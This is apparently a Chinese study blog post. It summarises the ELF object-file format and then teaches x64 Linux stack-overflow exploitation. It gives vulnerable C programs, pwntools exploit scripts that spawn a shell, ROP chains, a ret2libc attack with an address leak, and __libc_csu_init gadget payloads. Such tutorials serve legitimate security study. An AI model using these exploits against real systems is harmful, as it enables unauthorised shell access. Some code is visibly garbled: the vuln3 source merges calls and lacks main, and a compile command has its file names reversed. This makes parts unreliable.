  • 使用JIT,在运行时编译字节码并优化。
    JIT更具一般性和可移植性。JIT混合了两种技术,解释器解释时编译部分程序。

OBJECT FILES

preface

文件格式分析可以借助具体例子学习,用010editor的ELF Template加载任意一个ELF文件

可以通过010editor分析出的文件格式找到对应的二进制数据。

File Format


ELF header描述了文件的组织结构。
Sections保存了目标文件Linking View的大量信息:指令、数据、符号表和重定位信息等。
Program header table告诉系统如何创建一个进程映像。
Section header table包含了描述文件sections的信息。每一个section在表中都有一个条目,每一个条目包含了section name、section size等信息。

Data Representation

ELF Header

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#define EI_NIDENT 16

typedef struct {
unsigned char e_ident[EI_NIDENT];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
} Elf32_Ehdr;

e_ident ELF文件的magic
e_type 标识目标文件的类型。

ET_REL 1 Relocatable file
ET_EXEC 2 Executable file
ET_DYN 3 Shared object file

e_machine 文件运行在哪种体系结构上。
e_entry 程序入口点。
e_phoff program header table的文件偏移。
e_shoff section header table的文件偏移。
e_flags 处理器相关标识。
e_ehsize ELF header的大小。
e_phentsize 文件的program header table一个条目的大小,所有条目一样大小。
e_phnum program header table中条目的个数。
e_shentsize section header table中一个section header的大小,所有section header一样大小。
e_shnum section header table中条目的个数。
e_shstrndx section header table中和section名字字符串表相关的条目的索引。

Sections

Section Header

1
2
3
4
5
6
7
8
9
10
11
12
typedef struct {
Elf32_Word sh_name;
Elf32_Word sh_type;
Elf32_Word sh_flags;
Elf32_Addr sh_addr;
Elf32_Off sh_offset;
Elf32_Word sh_size;
Elf32_Word sh_link;
Elf32_Word sh_info;
Elf32_Word sh_addralign;
Elf32_Word sh_entsize;
} Elf32_Shdr;

sh_name 指向section header string table section的索引,表示section的名字。
sh_type 指明了section的内容和语义。
sh_flags 描述section的各项属性。
sh_addr 如果section将会出现在一个进程的内存映像中,这个成员给出section的起始地址。
sh_offset section在文件中的偏移地址。
sh_size section的大小。类型为SHT_NOBITS的section的size不为0,但它实际不占文件空间。
sh_link section header table index link。
sh_info 额外的信息,含义取决于section的类型。
sh_addralign 有些section有地址对齐方面的约束。比如 section 中有个 doubleword 型的数据,系统就必须保证整个 section 是 doubleword 对齐的,即 sh_addr 对 sh_addralign 取模为 0。目前,此成员的取值只允许是 0 和 2 的幂数。取值 0 和 1 代表 section 没有对齐方面的约束。
sh_entsize 有些section存放的表项大小固定的表,如符号表。如表项大小不固定,此成员为0。

Section Types, sh_type

SHT_NULL 表示此头部是不活动的,不对应一个section。
SHT_PROGBITS 存放着程序定义的信息,格式和含义只由程序决定。
SHT_SYMTAB & SHT_DYNSYM 保存着符号表。
SHT_STRTAB 保存着字符串表。
SHT_RELA 通过显式加数存放重定位条目。
SHT_HASH 存放一个符号哈希表。
SHT_DYNAMIC 存放动态链接的相关信息。
SHT_NOTE 存放文件的注释信息。
SHT_NOBITS 不占用文件的空间,其他方面类似于SHT_PROGBITS。
SHT_REL 存放没有显式加数的重定位条目。
SHT_SHLIB 保留section。
SHT_LOPROC through SHT_HIPROC
SHT_LOUSER 留给程序使用的保留索引值的下限。
SHT_HIUSER 留给程序实用的保留索引值的上限。

Section Attribute Flags, sh_flags

SHF_WRITE section包含在进程执行期间可写的数据。
SHF_ALLOC section在进程执行期间占据内存。一些section不在目标文件的内存映像中,这个属性就是off。
SHF_EXECINSTR section包含可执行的机器指令。
SHF_MASKPROC 这个掩码中的所有比特位留作处理器相关的语义。

Special Sections

.bss 保存程序内存映像中未初始化的数据。程序开始时,系统把这些数据初始化为0。
.comment 保存版本控制信息。
.data and .datal 保存程序内存映像中已经初始化的数据。
.debug 保存符号的调试信息。
.dynamic 保存动态链接信息。
.dynstr 保存动态链接需要的字符串。
.dynsym 保存动态链接符号表。
.fini 保存进程退出代码所需执行的指令。
.got 保存全局偏移表。
.hash 保存符号哈希表。
.init 保存程序初始化代码所执行的指令。在main之前调用。
.interp 保存程序解释器的路径名。
.line 保存符号调试用到的行号。
.note 按照一定格式保存注释信息。
.plt 保存过程链接表。
.relname and .relaname 保存重定位的相关信息。
.rodata and .rodatal 保存进程映像中不可写segment里的只读数据。
.shstrtab 保存section的名字。
.strtab 保存字符串表,这些字符串通常代表符号表中表项的名字。
.symtab 保存一个符号表。
.text 保存了程序的执行指令。
名字中包含.前缀的section是系统保留的。

String Table

字符串表section保存着一些空字节结尾的字符串。
目标文件用symbol string table(.strtab)的字符串表示symbol的名字,用section header string table(.shstrtab这个table是由ELF头部中的e_shstrndx成员指定)的字符串表示section的名字(section header的sh_name成员保存的索引)。可以通过索引引用字符串表中的字符串。

Symbol Table

目标文件符号表保存着定位和重定位一个程序的符号定义和引用所需的信息。
符号表表项的数据结构:

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Word st_name;
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info;
unsigned char st_other;
Elf32_Half st_shndx;
} Elf32_Sym;

st_name 这个成员保存了一个指向目标文件symbol string table的索引。
st_value 符号的值,取决于上下文,可能是一个绝对值,一个地址等等。
st_size 许多符号有相应的大小,例如一个数据对象的大小就是它所包含的字节数。
st_info 指明了符号的类型和约束属性。

1
2
3
#define ELF32_ST_BIND(i) ((i)>>4)
#define ELF32_ST_TYPE(i) ((i)&0xf)
#define ELF32_ST_INFO(b, t) (((b)<<4)+((t)&0xf))

st_other 目前为0,没有定义含义。
st_shndx 每个符号表项都与一些section有关,这个成员保存着相关section header table的索引。
一个符号的约束决定了链接的可见性和行为。

Symbol Binding, ELF32_ST_BIND

Name Value
STB_LOCAL 0
STB_GLOBAL 1
STB_WEAK 2
STB_LOPROC 13
STB_HIPROC 15

STB_LOCAL Local符号在包含它们的目标文件之外是不可见的。相同名字的Local符号可以在不同的文件中存在,而不会相互冲突。
STB_GLOBAL Global符号对要链接到一起的所有目标文件都是可见的。如果一个文件中定义了一个Global符号,那么另一个文件中无需定义,可直接引用此Global符号。
STB_WEAK Weak符号类似于Global符号,只是它约束的定义优先级较低。
STB_LOPROCSTB_HIPROC 此范围内的取值留作处理器相关的语义。

Symbol Types, ELF32_ST_TYPE

Name Value
STT_NOTYPE 0
STT_OBJECT 1
STT_FUNC 2
STT_SECTION 3
STT_FILE 4
STT_LOPROC 13
STT_HIPROC 15

STT_NOTYPE 未指定符号类型。
STT_OBJECT 符号对应一个数据对象,比如变量、数组等。
STT_FUNC 符号对应一个函数或其它可执行的代码。
STT_SECTION 符号对应一个section。这种类型的符号表项位于符号表最前面,用于重定位,通常具有STB_LOCAL约束。
STT_FILE 此符号的名字也就是目标文件对应源文件的名字。
STT_LOPROCSTT_HIPROC 此范围间的取值留作处理器相关的语义。

Symbol Values
符号表项在不同的目标文件类型中对st_value成员的解释稍有不同。
1)可重定位文件:如果符号对应section的索引是SHN_COMMON,那么st_value保存的是符号的对齐约束条件。
2)可重定位文件:如果是一个已经定义的符号,st_value保存着该符号在对应section中的偏移,即从st_shndx标识的section开始处的一个偏移量。
3)可执行目标文件和共享目标文件:为了使文件中的符号对动态链接器来说更加有用,st_value保存着一个虚拟地址。section偏移(文件解释)让位给虚拟地址(内存解释),因为在这种情况下,section偏移计数已经不重要了。
除了上面提到的,符号表的取值含义对不同的目标文件来说是类似的,程序也就能够采用高效的方法来访问数据。

Relocation

重定位是将符号引用和符号定义链接到一起的过程。比如,当一个程序调用一个函数,相关的调用指令在执行时必须把控制权传递到正确的目的地址。换句话说,就是可重定位文件必须包含一些信息,用来描述怎样修改它们的section内容,从而使可执行目标文件和共享目标文件掌握正确的信息用于创建进程的程序映像。重定位表项的数据结构如下所示:

1
2
3
4
5
6
7
8
9
10
typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
} Elf32_Rel;

typedef struct {
Elf32_Addr r_offset;
Elf32_Word r_info;
Elf32_Sword r_addend;
} Elf32_Rela;

r_offset 指出重定位操作的位置,对于可重定位文件,它的值是从section的开始处到重定位作用的存储单元的字节偏移量。对于可执行目标文件或共享目标文件,它的值是重定位作用的存储单元的虚拟地址。
r_info 指出重定位作用的符号在符号表中的索引和重定位的类型。比如,一个调用指令的重定位表项将保存被调用函数的符号表索引,如果索引是 STN_UNDEF,即未定义的符号表索引,那么重定位使用 0 作为该符号的值。重定位的类型是处理器相关的。当代码访问重定位表项的重定位类型和符号表索引时,需要将ELF32_R_TYPE宏和 ELF32_R_SYM宏分别作用于表项的r_info成员。

1
2
3
#define ELF32_R_SYM(i) ((i)>>8)
#define ELF32_R_TYPE(i) ((unsigned char)(i))
#define ELF32_R_INFO(s,t) (((s)<<8)+(unsigned char)(t))

r_addend 指定一个常量加数(addend),用于计算可重定位字段存储的值。

linux_x64与linux_x86的区别

主要两点:
1.内存地址的范围由32位变成了64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
2.参数传递方式发生改变,x86参数都是保存在栈上,x64中的前6个参数依次保存在rdi, rsi, rdx, rcx, r8r9中,如果有更多参数则保存在栈上。
拿一个简单的程序演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* compile on Linux_64 with gcc -fno-stack-protector vuln1 -o vuln1.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
system("/bin/sh");
}

void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char **argv)
{
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
return 0;
}

用gdb简单的反编译一下vulnerable_function

lea rax, [rbp-0x80]可知栈结构如下:

所以要overwriterip为callsystem()函数的地址,需要136(0x80+8)个占位字节+callsystem()的地址。

exp如下:

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
#coding:utf-8
from pwn import *

p = process('./vuln1')
callsystem = 0x400584
payload = "A" * 136 + p64(callsystem)
p.send(payload)
p.interactive()

使用工具寻找gadgets

x64的参数会保存在寄存器中,所以需要找一些类似于pop rdi; ret这样的gadget,借助工具如ROPgadget查找会更加快捷方便。
再用一个简单的例子演示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/* compile on linux_64 with gcc -fno-stack-protector vuln2.c -o vuln2 -ldl */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
void *handle = dlopen("libc.so.6", RTLD_LAZY);
printf("%p\n", dlsym(handle, "system"));
fflush(stdout);
}

void vulnerable_function()
{
char buf[128];
read(STDIN_FILENO, buf, 512);
}

int main(int argc, char **argv)
{
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

程序会打印system()在内存中的地址,这样就不需要考虑ASLR的问题了,只要想办法执行system("/bin/sh")就行。需要找一个将rdi指向”/bin/sh”的gadgets:

1
2
3
4
5
6
7
8
9
$ ROPgadget --binary vuln2 --only "pop|ret"
Gadgets information
============================================================
0x00000000004006d2 : pop rbp ; ret
0x00000000004006d1 : pop rbx ; pop rbp ; ret
0x0000000000400585 : ret
0x0000000000400735 : ret 0xbdb8

Unique gadgets found: 4

因为程序较小,没有pop rdi; ret这个gadgets。可以从libc.so中找,因为程序本身会load libc.so到内存中,并打印system()的地址,所以找到gadgets后可以通过system()计算出libc.so在内存中的基址,从而得到gadgets在内存中的实际地址。

1
2
3
4
$ ROPgadget --binary libc.so.6 --only "pop|ret" | grep rdi
0x000000000001f7a6 : pop rdi ; pop rbp ; ret
0x0000000000022b1a : pop rdi ; ret
0x00000000001331ad : pop rdi ; ret 0xffee

成功找到了pop rdi; ret这个gadget,构造ROP链:

1
payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

或者,因为我们只需要调用一次system()函数就可以获取shell,所以可以搜索不带ret的gadgets:

1
2
3
4
5
$ ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi
0x000000000017956b : call qword ptr [rdi]
0x00000000000238f0 : call rdi
0x00000000000fa479 : pop rax ; pop rdi ; call rax
0x00000000000fa47a : pop rdi ; call rax

发现pop rax ; pop rdi ; call rax也可以完成目标,将rax赋值system()的地址,rdi赋值为”/bin/sh”的地址:

1
payload = "\x00" * 136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

这两个ROP链都可以完成目标,随便选择一个进行攻击即可。
最终的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python
from pwn import *

libc = ELF('libc.so.6')
p = process('./vuln2')

system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
base_addr = system_addr - libc.symbols['system']

binsh_addr = base_addr + next(libc.search('/bin/sh'))

pop_ret_addr = base_addr + 0x0000000000022b1a

p.recv()

payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

p.send(payload)

p.interactive()

通用gadgets

程序在编译过程中会加入一些通用的函数来进行初始化操作(比如加载libc.so的初始化函数),所以虽然很多程序的源码不同,但初始化过程是相同的,因此针对这些初始化函数,可以提取一些通用的gadgets来用。
拿一个升级版的程序演示:

1
2
3
4
5
6
7
8
9
10
11
/* compile on linux_64 with gcc -o vuln3 vuln3.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function()
{
char buf[128];
read(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

这个程序只有一个buffer overflow,先要想办法泄露内存信息,找到system()的值,再传递"/bin/sh".bss段,最后调用system("/bin/sh")。源程序中使用了write()read()函数,可以通过write()去输出write.got的地址,从而计算出libc.so在内存中的地址。
在x64下有一些万能的gadgets可以使用。比如用objdump -d vuln3观察一下__libc_csu_init()这个函数。程序只要调用了libc.so,就会有这个函数对libc进行初始化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
00000000004005a0 <__libc_csu_init>:
4005a0: 48 89 6c 24 d8 mov %rbp,-0x28(%rsp)
4005a5: 4c 89 64 24 e0 mov %r12,-0x20(%rsp)
4005aa: 48 8d 2d 73 08 20 00 lea 0x200873(%rip),%rbp # 600e24 <__init_array_end>
4005b1: 4c 8d 25 6c 08 20 00 lea 0x20086c(%rip),%r12 # 600e24 <__init_array_end>
4005b8: 4c 89 6c 24 e8 mov %r13,-0x18(%rsp)
4005bd: 4c 89 74 24 f0 mov %r14,-0x10(%rsp)
4005c2: 4c 89 7c 24 f8 mov %r15,-0x8(%rsp)
4005c7: 48 89 5c 24 d0 mov %rbx,-0x30(%rsp)
4005cc: 48 83 ec 38 sub $0x38,%rsp
4005d0: 4c 29 e5 sub %r12,%rbp
4005d3: 41 89 fd mov %edi,%r13d
4005d6: 49 89 f6 mov %rsi,%r14
4005d9: 48 c1 fd 03 sar $0x3,%rbp
4005dd: 49 89 d7 mov %rdx,%r15
4005e0: e8 1b fe ff ff callq 400400 <_init>
4005e5: 48 85 ed test %rbp,%rbp
4005e8: 74 1c je 400606 <__libc_csu_init+0x66>
4005ea: 31 db xor %ebx,%ebx
4005ec: 0f 1f 40 00 nopl 0x0(%rax)
4005f0: 4c 89 fa mov %r15,%rdx
4005f3: 4c 89 f6 mov %r14,%rsi
4005f6: 44 89 ef mov %r13d,%edi
4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)
4005fd: 48 83 c3 01 add $0x1,%rbx
400601: 48 39 eb cmp %rbp,%rbx
400604: 75 ea jne 4005f0 <__libc_csu_init+0x50>
400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx
40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp
400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r12
400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r13
40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r14
40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r15
400624: 48 83 c4 38 add $0x38,%rsp
400628: c3 retq

可以看到利用0x400606处的代码我们可以控制rbx, rbp, r12, r13, r14r15的值,随后利用0x4005f0处的代码,可以将r15, r14, r13的值赋给rdx, rsi, edi。接着调用call qword ptr [r12+rbx*8]。只要将rbx的值设为0,再构造栈上的数据就可以控制pc去调用相关函数了。
执行完call之后,程序会对rbx+1,然后比较rbp和rbx的值,如果相等就继续执行并ret到想要继续执行的地址。为了让rbp和rbx的值相等,可以将rbp的值设为1,因为之前把rbx设为了0。
先构造payload1,利用write()输出write在内存中的地址。因为gadget是call qword ptr [r12+rbx*8],所以应该使用write.got而不是write.plt的地址(got里存的是地址,plt里存的是指令)。并且为了返回原程序中,重复利用buffer overflow,我们需要再次覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数为止。

1
2
3
4
5
6
7
8
9
# rdi = r13, rsi = r14, rdx = r15
# write(rdi = 1, rsi = write.got, rdx = 4)
payload1 = "\x00" * 136
# pop_junk_rbx_rbp_r12_r13_r14_r15_ret
payload1 += p64(0x400606) + p64(0xdeadbeff) + p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8)
# mov rdx,r15; mov rsi,r14; mov edi,r13d; call qword ptr [r12+rbx*8]
payload1 += p64(0x4005f0)
payload1 += "\x00" * 0x38
payload1 += p64(main)

exp接收到write()在内存中的地址后,可以计算出system()在内存中的地址。构造payload2,利用read()将system()的地址以及”/bin/sh”写入到.bss段内存中。

1
2
3
4
5
6
# read(rdi = 0, rsi = bss_addr, rdx = 16)
payload2 = "\x00" * 136
payload2 += p64(0x400606) + p64(0xdeadbeef) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16)
payload2 += p64(0x4005f0)
payload2 += "\x00" * 0x38
payload2 += p64(main)

.bss段的地址:
$ readelf -S vuln3
There are 30 section headers, starting at offset 0x1150:
Section Headers:
[Nr] Name Type Address Offset Size EntSize Flags Link Info Align

[25] .bss NOBITS 0000000000601028 00001028 0000000000000010 0000000000000000 WA 0 0 8

最后构造payload3,调用system()函数执行”/bin/sh”。system()的地址保存在了.bss段首地址上,”/bin/sh”的地址保存在了.bss段首地址+8字节上。

1
2
3
4
5
6
#system(rdi = bss_addr+8 = "/bin/sh")
payload3 = "\x00" * 136
payload3 += p64(0x400606) + p64(0xdeadbeef) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr+8) + p64(0) + p64(0)
payload3 += p64(0x4005f0)
payload3 += "\x00" * 0x38
payload3 += p64(main)

最终的exp
reference
http://drops.wooyun.org/papers/7551